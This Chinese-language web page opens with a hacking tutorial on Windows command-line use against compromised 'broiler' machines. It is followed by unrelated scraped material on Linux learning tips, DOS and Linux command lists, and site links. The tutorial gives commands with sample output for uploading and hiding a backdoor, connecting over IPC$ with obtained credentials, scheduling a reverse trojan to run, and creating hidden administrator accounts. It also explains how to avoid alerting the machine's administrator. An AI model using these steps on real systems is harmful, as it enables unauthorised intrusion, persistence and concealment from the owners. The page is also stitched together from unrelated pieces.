大家在入侵時,一定會用到DOS命令的,它的功能非常的強大.今天我就對常用的DOS命令作個詳細的解說.主要是給剛入門者和接觸DOS命令少的朋友看的.下面我挑幾個比較常用的給大家說說.
以windows2000為例,windows xp類同.

DIR
顯示當前盤下的所有文件夾和文件.
比較常用的方法是,你上傳一個後門或服務端(這兒比如名字叫systems.exe)到肉雞的c:\winnt\system32下,你想看看有沒有上傳成功.可以用DIR命令看一下. 命令如下 :

DIR c:\winnt\system32\systems.exe

則會顯示:
2004-05-24 20:06 194,762 systems.exe
1 個文件 194,762 位元組
0 個目錄 4,658,597,888 可用位元組

如果你沒有上傳成功,則顯示如下:
驅動器 C 中的卷沒有標簽。
卷的序列號是 6458-3DB8
c:\winnt\system32\的目錄
找不到文件

CD
改變當前目錄
具體看一下下面的命令:
C:\>cd winnt //進入winnt文件夾

C:\winnt>cd system32 //進入system32 文件夾

C:\winnt\system32>cd.. //回到上一級目錄

C:\winnt>cd..

C:\>
C:\>d: //進入D盤

D:\>e: //進入E盤

E:\>

del和deltree
DEL:刪除文件.
看下面的命令:
C:\>del c:\xx\ww.txt //刪除C盤的XX目錄下的名叫WW的文件.

C:\>
C:\>del c:\xx\*.* //刪除C盤的XX目錄下所有文件

deltree
這個更具有破壞性,不但能刪除所有文件,連文件夾也刪除

C:\>deltree c:\winnt //刪除C盤下的winnt所有文件和文件夾.
這個大家要小心使用.

attrid
顯示和更改文件或文件夾屬性.
文件或文件夾的屬性有 隱藏,用字母H表示. 只讀,用R表示. 存檔,用A表示. 系統,用S表示
改變一個文件或文件夾屬性, " + " 表示增加, " - ",表示去掉某個屬性.
平時我們都把後門或服務端到上傳肉雞的c:\winnt\system32下.在進入了肉雞的CMD以後,為了更加的不讓肉雞管理員知道,我們可以把你上傳的隱藏起來.比如還是上面的systems.exe
命令如下:
C:\>attrid +h c:\winnt\system32\systems.exe //這樣在system32下就找不到systems.exe

C:\>attrid -h c:\winnt\system32\systems.exe //去掉systems.exe的隱藏屬性


復制一個或多個文件到其它目錄
比如你把C盤下一個叫1.txt文件復制到D盤的vv文件夾下,

C:\> c:\1.txt d:\vv\1.exe

比如你和肉雞建立了IPC$連接(如何連接?以後會講的),而且肉雞開放了共享,這里比如開放了D盤.你可以把你C盤下的一個叫systems.exe的後門或服務端上傳肉雞的D盤下,命令如下:

C:\> c:\systems.exe \\肉雞IP\d$

type
顯示文件內容
我現在在我的C盤的XX目錄下新建一個叫hack.txt的文件,內容是一些台灣的IP
命令如下:

C:\>type c:\xx\hack.txt
序號 開始IP地址 結束IP地址 國家/省/直轄市 城市/區縣/組織
58 024.179.140.000 024.179.150.255 中國台灣省
80 061.013.000.000 061.013.255.255 中國台灣省
86 061.058.065.000 061.058.070.255 中國台灣省
87 061.059.160.000 061.059.255.255 中國台灣省
89 061.070.100.000 061.070.150.255 中國台灣省
1788 061.217.179.000 061.217.179.255 中國台灣省 台南市
1789 061.216.000.000 061.219.255.255 中國台灣省
1790 061.220.080.000 061.220.150.255 中國台灣省 台北市
1791 061.224.000.000 061.224.255.255 中國台灣省 台北市
1792 061.225.000.000 061.225.255.255 中國台灣省
3390 134.208.000.000 134.208.255.255 中國台灣省
3584 139.175.000.000 139.175.255.255 中國台灣省
3590 140.092.000.000 140.092.255.255 中國台灣省
3593 140.096.000.000 140.096.255.255 中國台灣省
3596 140.112.000.000 140.112.255.255 中國台灣省 台灣大學
C:\>

它還有一個用法,就是在進入肉雞的CMD以後,看看肉雞用的是什麼操作系統,命令如下,在我電腦操作的結果如下:

C:\>type c:\boot.ini

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft WindowsXP Professional"
/fastdetect

看出來沒有?,我用的是XP系統.

這是一些我認為常用的命令,其它的還有rd,md等.你們有興趣可以找資料看看.平進比較少用.

ping
這個是用的最多的命令.可是現在好像不靈光了.大多數網站和個人電腦用防火牆屏蔽了ping.大多數時候根本是P不通.基本命令:
ping ip
ping 網址

下面P的是本站:

C:\>ping www.hf110.com

Pinging www.hf110.com [218.89.0.231] with 32 bytes of data:

Reply from 218.89.0.231: bytes=32 time=67ms TTL=116
Reply from 218.89.0.231: bytes=32 time=67ms TTL=116
Reply from 218.89.0.231: bytes=32 time=66ms TTL=116
Reply from 218.89.0.231: bytes=32 time=67ms TTL=116

Ping statistics for 218.89.0.231:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 66ms, Maximum = 67ms, Average = 66ms

上面P出本站的IP是218.89.0.231,從TTL=116.大略看出使用的是windows操作系統.一般來說TTL值在128左右的是windows操作系統,值在225左右的,大多數是unix類系統.但是還有特殊情況,管理員可能會通過改注冊表來修改TTL值.

net use
在得到肉雞的用戶名和密碼這後,可以用這個命令做IPC$連接

net use \\肉雞ip\ipc$ "密碼" /user:"用戶名"

連接成功後,上傳後門或服務端,(比如叫systems.exe,在你的D盤下).

D:\systems.exe \\肉雞ip\c$ //這里它要開放共享,你才能上傳.否則無法上傳成功.

net time \\肉雞ip //看一下肉雞的時間,是24小時制.比如這兒是下午3點10分.寫作15:10

at \\肉雞ip 15:12 systems.exe //在15:12分,運行systems.exe

在這兒,你上傳的是反彈木馬的話,可以等著它來連接你.其實在入侵過程中,有很多的偶然性,比如上面的,你可以IPC連接成功.但是並一定能夠通過net time \\肉雞ip ,看肉雞時間.就算能看到時間吧,有時肉雞的at服務並沒有打開.就算打開了,但是後門或服務端不一定能夠有機會運行,
可能被殺毒軟體查殺.所以在入侵過程中,失敗是常有的事.這個方法不行,可以另一種.

net user
查看用戶或新建一個用戶.
這是在我電腦上的截圖

C:\>net user

\\BILLGATES 的用戶帳戶

---------------------------------------------------------------------
Guest guest1 HelpAssistant
SUPPORT_388945a0 yhkj
命令成功完成。

C:\>

上面是我所有的用戶.
現在我新建一個setwell的用戶,密碼是123456, 截圖如下

C:\>net user setwell 123456 /add
命令成功完成。

C:\>net localgroup administrators setwell /add //這條命令是加setwell為管理員
命令成功完成。

接下來我們再net user ,載圖如下

C:\>net user

\\BILLGATES 的用戶帳戶

----------------------------------------------------------------
Guest guest1 HelpAssistant
setwell SUPPORT_388945a0 yhkj
命令成功完成。

建立的用戶可以用net user命令看到,我們在用戶後面加個$,可以小小的隱藏一下.這次建一個叫set的用戶,截圖如下:

C:\>net user set$ 123456 /add
命令成功完成。

C:\>net localgroup administrators set$ /add
命令成功完成。

C:\>net user

\\BILLGATES 的用戶帳戶

-----------------------------------------------------------------
Guest guest1 HelpAssistant
setwell SUPPORT_388945a0 yhkj
命令成功完成。

C:\>

看到沒有,我們沒有看到剛才建立的用戶set$,可以用這個命令看,net localgroup administrators ,這個命令的是顯示所有的管理員,截圖如下:

C:\>net localgroup administrators
別名 administrators
注釋 管理員對計算機/域有不受限制的完全訪問權

成員

------------------------------------------------------
guest1
set$
setwell
yhkj
命令成功完成。

C:\>

看到沒有,我們看到set$這個用戶了.

如果要刪除用戶用這個命令:

C:\>net user setwell /delete

net start
1.啟動某些服務
比如: net start telnet //啟動telnet服務

2.查看當前啟動了什麼服務.看看我的電腦啟動了什麼服務:

C:\>net start
已經啟動以下 Windows 服務:

Automatic Updates
COM+ Event System
Cryptographic Services
DHCP Client
Distributed Link Tracking Client
DNS Client
Error Reporting Service
Event Log
Help and Support
IPSEC Services
Logical Disk Manager
Messenger

這只是一部分服務.

net stop
停止某些服務.站長今天也說到了.我不多了.

net share
查看默認共享.也就是查看這些共享C$ D$ e$ f$ admin$ ipc$,這是系統默認的.我的全部關了,我
到肉雞上截張圖吧.

C:\Documents and Settings\Administrator>net share
D$ D:\ 默認共享
F$ F:\ 默認共享
ADMIN$ C:\WINNT 遠程管理
C$ C:\ 默認共享
E$ E:\ 默認共享
命令成功完成。

C:\Documents and Settings\Administrator>

這個肉雞的IPC$共享竟然關了.

net view
也是查看共享,但不是上面的默認共享了,還是來張截圖吧.也是肉雞的,

C:\Documents and Settings\Administrator>net view
伺服器名稱 注釋

-------------------------------------------------------------------------------
\\17
\\HMZ
\\ZGH
命令成功完成。

C:\Documents and Settings\Administrator>

學DOS命令看起來有點煩,其實是挺容易學的.而且學好了,在入侵中,會起到舉足輕重的作用.下次講netstat 等命令.

netstat -an
使用這個命令可以察看到和本機的所有的連接.看一下在我電腦上的截圖,

D:\>netstat -an

Active Connections

Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1029 0.0.0.0:0 LISTENING
TCP 0.0.0.0:5000 0.0.0.0:0 LISTENING
TCP 180.254.158.42:139 0.0.0.0:0 LISTENING
TCP 218.95.49.187:2935 218.89.0.231:80 ESTABLISHED
UDP 0.0.0.0:500 *:*
UDP 0.0.0.0:1035 *:*
UDP 0.0.0.0:1037 *:*
UDP 0.0.0.0:1134 *:*
UDP 0.0.0.0:1136 *:*

Proto Local Address Foreign Address State
協議 本地埠及IP地址 遠程埠及IP地址 狀態

LISTENING 監聽狀態 表示等待對方連接

ESTABLISHED 正在連接著.

TCP 協議是TCP

UDP 協議是UDP

TCP 218.95.49.187:2935 218.89.0.231:80 ESTABLISHED
這個表示 利用tcp協議 本機ip(218.95.49.187通過埠:2935 和遠程ip(218.89.0.231)埠:80連接

query
這個命令只有在開了3389埠(也不一定埠是3389,說不定改成別的埠了.嚴格講應是開了遠程終端服務)的機子,才能用上.我用1$的用戶名上了一台3389機子,看一下截圖:

c:\>query user
USERNAME SESSIONNAME ID STATE
administrator console 0 運行中
1$ rdp-tcp#2 1 運行中

看到上面沒有,管理員也在,如果你要退出的話,就用如下命令:

logoff ID 這兒是logoff 1.

這是正常退出的.說到退出,還有一個辦法,就是在開始---關機---注銷1$.如果你用另外的方法退出的話,那麼肉雞在關機時,會出現類如"有一個其它客人登錄到這台伺服器,如果你退出,對方的會話數據會丟失"一類的話.這樣管理員就會發現了.

⑧ 如何快速掌握Linux系統小白入門必看

對於初學者來說,學習Linux並不是簡單的事情,想要完全掌握好Linux系統,合適的方法和技巧同樣重要,這里我為大家總結了幾點Linux學習方法及技巧,希望對你有所幫助。

1、學習使用Linux命令:隨著Linux桌面的發展,命令行在系統中依然是非常有效的、方便的,而Linux系統最主要的就是熟悉使用命令,Linux命令有許多強大的功能,可以完成非常復雜的操作。

2、選擇合適的Linux書籍:工具書對於學習而言是非常重要的,一本合適的書籍可以起到非常好的引導作用,選擇適合自己的書籍,堅持看下去,可以獲得滿意的收獲。

3、選擇適合你的Linux版本:Linux發行版本有很多,在國內也有十幾個版本,我們需要根據自身的需求,選擇合適的Linux版本,在這里推薦大家使用Contos。

4、養成良好的工作習慣:Linux桌面對於系統是一個應用程序,從效率以及易用性來說都沒有shell好用,雖然命令行學習起來效率非常慢,但是真正的精通之後就會有不一樣的收獲。

5、善於動手實戰:想要更好的增強自身的Linux技能,勤學苦練是非常重要的,准備一台電腦,安裝一個適合自己的版本,通過動手來完成實戰項目,可以更好的提升自己的能力和水平。

⑨ 介紹一下DOS命令行

ATTRIB 文件屬性(顯示或改變屬性)
CHDIR(CD) 改變目錄
CHKDSK 檢查磁碟
CHOICE 提示擊鍵輸入
CLS 清屏幕
COMMAND 重新載入MS-DOS程序
COPY 復制文件
DATE 設置顯示日期
DEBUG 調試程序
DEFRAG 清除磁碟碎片
DEL(ERASE) 刪除文件
DELOLDOS 刪除舊DOS文件
DELTREE 刪除目錄樹分支
DIR 顯示目錄
DISKCOMP 比較軟盤內容
DISKCOPY 復制磁碟
DOS 擴展擴充內存管理
DOSSHELL DOS外層
DRIVPARM 定義驅動器參數
EDIT 編輯器
EMM386 內存管理
ERASE 刪除文件
DBLSPACE 磁碟壓縮
EXPAND 釋放壓縮
FASTHELP 快速求助
FC 文件比較
FDISK 磁碟分區
FIND 搜尋指定字串
FOR 循環執行命令
FORMAT 格式化磁碟
MEM 內存使用情況顯示
MKDIR(MD) 建立子目錄
MSAV 檢查和清除病毒
MSBACKUP 磁碟文件務份
PATH 設置搜索路徑
PAUSE 暫停執行命令
RESTORE 磁碟文件轉儲
RENAME(REN) 文件重新命名
RMDIR(RD) 刪除目錄
SCANDISK 檢查磁碟
SYS 傳送系統文件
TIME 設置顯示時間
TREE 顯示目錄結構
TYPE 顯示文件內容
UNDELETE 恢復被刪除文件
VER 顯示系統版本號
VOL 顯示卷標
VSAFE 病毒檢查
XCOPY 復制組文件
APPEND 補充路徑
BREAK 檢查控制中斷
BUFFERS 設置磁碟緩沖區數
CALL 調用批文件
CHCP 轉換碼頁
COUNTRY 確定國家標准貨幣
CTTY 改變控制台
DEVICE 安裝設備驅動程序
DEVICEHIGH 裝載設備驅動程序
ECHO 命令顯示開關
FASTOPEN 快速載入文件
FCBS 使用文件控制塊
FILES 同時打開文件數
GOTO 轉向分支
GRAPHICS 圖形屏幕列印
HELP 求助
IF 設定條件
INCLUDE 簡化多重配置塊
INSTALL 安裝常駐程序
INTERLNK 計算機互連
INTERSVR 與伺服器互連
KEYB 裝載字元轉換表
LABEL 卷標
LASTDRIVE 置最大驅動器數
LOADFIX 裝入固定內存
LOADHIGH(LH) 高內存程序裝載
MEMMAKER 檢查內存
MENUCOLOR 設置顯示選項
MODE 設置硬體工作方式
MSCDEX 訪問CD驅動器
MSO 檢查系統配置
NLSFUNC 支持各國語言
NUMLOCK 控制NUMLOCK鍵
POWER 節省電能
PRINT 後台列印
PROMPT 改變系統提示
QBASIC 啟動QB
REM 注釋信息
REPLACE 替換文件
SET 設置環境變數
SETUP 安裝DOS6。2文件
SETVER 改變DOS版本表
SHARE 網路文件共享
SHELL 裝載命令處理程序
SMARTDRV 磁碟緩沖
SORT 文件排序
STACKS 支持動態使用的數據線
SUBMENU 菜單項(配置CONFIG。SYS)
SUBST 設置虛擬驅動器
SWITCHES 鍵盤開關
VRIFY 磁碟檢驗

》:建立子目錄命令 MD (內部命令)
功能:在指定盤的指定目錄下建立一個子目錄
格式:MD [盤符][路徑]子目錄名
注意:1。不能建立根目錄與目標目錄下已經存在的目錄
2。預設路徑時則表示在當前目錄下建立
2》:改變當前目錄目錄命令: CD (內部命令)
功能:設置指定盤的當前目錄
格式:CD [盤符][路徑]
注意:CD 表示顯示當前目錄
CD..表示退回到根目錄
CD/ 表示退回到上一級目錄
3》:刪除子目錄命令:RD (內部命令)
功能: 從指定的盤符上刪除子目錄
格式: CD [盤符][路徑]子目錄名
注意:1。要刪除的目錄必須為空目錄,如果不為空目錄,先來到該目錄,用 DEL *.*刪除該目錄下的所有內容
再回到上一級目錄,用RD命令刪除該目錄
2。不能刪除當前目錄與根目錄
4》:列文件目錄命令:DIR (內部命令)
功能:顯示指定盤、指定目錄下所包含的文件與下一級子目錄的有關信息
格式:DIR [盤符][路徑][文件名][/P][/W]
[/P]表示分屏顯示
[/W]表示壓縮顯示
5》:顯示全盤目錄命令:TREE (外部命令)
功能:顯示指定盤的目錄結構
格式:[盤符][路徑]TREE [盤符1][/F]
[/F]表示列出各級子目錄的文件名
6》:設置查找目標命令PATH (內部命令)
功能:設置外部文件的查找目錄
格式: PATH [盤符][路徑][;盤符][路徑]……
注意:1。顯示上次PATH命令設置的查找文件目錄命令用:
PATH
2。刪除上次PATH命令設置的文件查找目錄用:
PATH;
7》:刪除目錄命令:DELTREE
功能:將整個目錄及其子目錄和文件全部刪除
格式:DELLTREE [盤符][路徑]目標文件
注意:全部刪除、不論是否系統、隱藏、還是只讀

⑩ linux的常用命令有那些

linux常用命令(基礎)

1. man 對你熟悉或不熟悉的命令提供幫助解釋

eg:man ls 就可以查看ls相關的用法

註:按q鍵或者ctrl+c退出,在linux下可以使用ctrl+c終止當前程序運行。
2. ls 查看目錄或者文件的屬*,列舉出任一目錄下面的文件

eg: ls /usr/man

ls -l

a.d表示目錄(directory),如果是一個」-」表示是文件,如果是l則表示是一個連接文件(link)

b.表示文件或者目錄許可許可權.分別用可讀(r),可寫(w),可運行(x)。

3. cp 拷貝文件

eg: cp filename1 filename2 //把filename1拷貝成filename2

cp 1.c netseek/2.c //將1.c拷到netseek目錄下命名為2.c

4. rm 刪除文件和目錄

eg: rm 1.c //將1.c這個文件刪除

5. mv 移走目錄或者改文件名

eg: mv filename1 filename2 //將filename1 改名為filename2

mv qib.tgz ../qib.tgz //移到上一級目錄

6. cd 改變當前目錄 pwd 查看當前所在目錄完整路徑

eg: pwd //查看當前所在目錄路徑

cd netseek //進入netseek這個目錄

cd //退出當前目錄

7. cat,more命令

將某個文件的內容顯示出來。兩個命令所不同的是:cat把文件內容一直列印出來,而 more則分屏顯示

eg; cat>1.c //就可以把代碼粘帖到1.c文件里,按ctrl+d 保存代碼。

cat 1.c 或more 1.c //都可以查看裡面的內容。

gcc -o 1 1.c //將1.c編譯成.exe文件,我們可以用此命編譯出代碼。

8.chmod 命令 許可權修改 用法:chmod 一位8進制數 filename。

eg: chmod u+x filenmame //只想給自己運行,別人只能讀

//u表示文件主人, g 表示文件文件所在組。 o 表示其他人 ;r 表可讀,w 表可寫,x 表可以運行

chmod g+x filename //同組的人來執行

9. clear,date命令

clear:清屏,相當與DOS下的cls;date:顯示當前時間。

10. mount 載入一個硬體設備

用法:mount [參數] 要載入的設備 載入點

eg: mount /dev/cdrom

cd /mnt/cdrom //進入光碟目錄

11. su 在不退出登陸的情況下,切換到另外一個人的身份

用法: su -l 用戶名(如果用戶名預設,則切換到root狀態)

eg:su -l netseek (切換到netseek這個用戶,將提示輸入密碼)

12.whoami,whereis,which,id

//whoami:確認自己身份

//whereis:查詢命令所在目錄以及幫助文檔所在目錄

//which:查詢該命令所在目錄(類似whereis)

//id:列印出自己的UID以及GID。(UID:用戶身份唯一標識。GID:用戶組身份唯一標識。每一個用戶只能有一個唯一的UID和 GID)

eg: whoami //顯示你自已登陸的用戶名

whereis bin 顯示bin所在的目錄,將顯示為:/usr/local/bin

which bin

13. grep,find

grep:文本內容搜索;find:文件或者目錄名以及許可權屬主等匹配搜索

eg: grep success * /*查找當前目錄下面所有文件裡面含有success字元的文件

14. kill 可以殺死某個正在進行或者已經是dest狀態的進程

eg; ps ax

15. passwd 可以設置口令

16. history 用戶用過的命令

eg: history //可以顯示用戶過去使用的命令

17. !! 執行最近一次的命令

18. mkdir命令

eg: mkdir netseek //創建netseek這個目錄

19. tar 解壓命令

eg: tar -zxvf nmap-3.45.tgz //將這個解壓到nmap-3.45這個目錄里

20. finger 可以讓使用者查詢一些其他使用者的資料

eg: finger //查看所用用戶的使用資料

finger root //查看root的資料

閱讀全文

與命令行快速入門相關的資料

熱點內容
編譯後程序塊過大不適合 瀏覽:669
李煜pdf 瀏覽:843
python寫游戲邏輯 瀏覽:489
pdf轉換成word免費版在線轉換 瀏覽:462
荒廢了三年還能做程序員嗎 瀏覽:656
阿里雲內網vpn伺服器 瀏覽:103
l命令第一個點對第二個點對不上 瀏覽:829
oracle導出表命令 瀏覽:909
怎麼寫域名加密 瀏覽:1003
手機文件壓縮出錯 瀏覽:522
如何登錄毒app 瀏覽:836
汽車中控台加密 瀏覽:862
海南農村信用社app如何開通簡訊 瀏覽:809
phpdns緩存 瀏覽:415
ipad騰訊視頻app如何播放本地視頻 瀏覽:990
蝦米伺服器關閉如何找到以前的歌 瀏覽:18
php自動建站 瀏覽:475
命令與征服3游俠網 瀏覽:970
騰訊雲買哪個地區伺服器 瀏覽:251
香港哪裡有app賣內地零食 瀏覽:685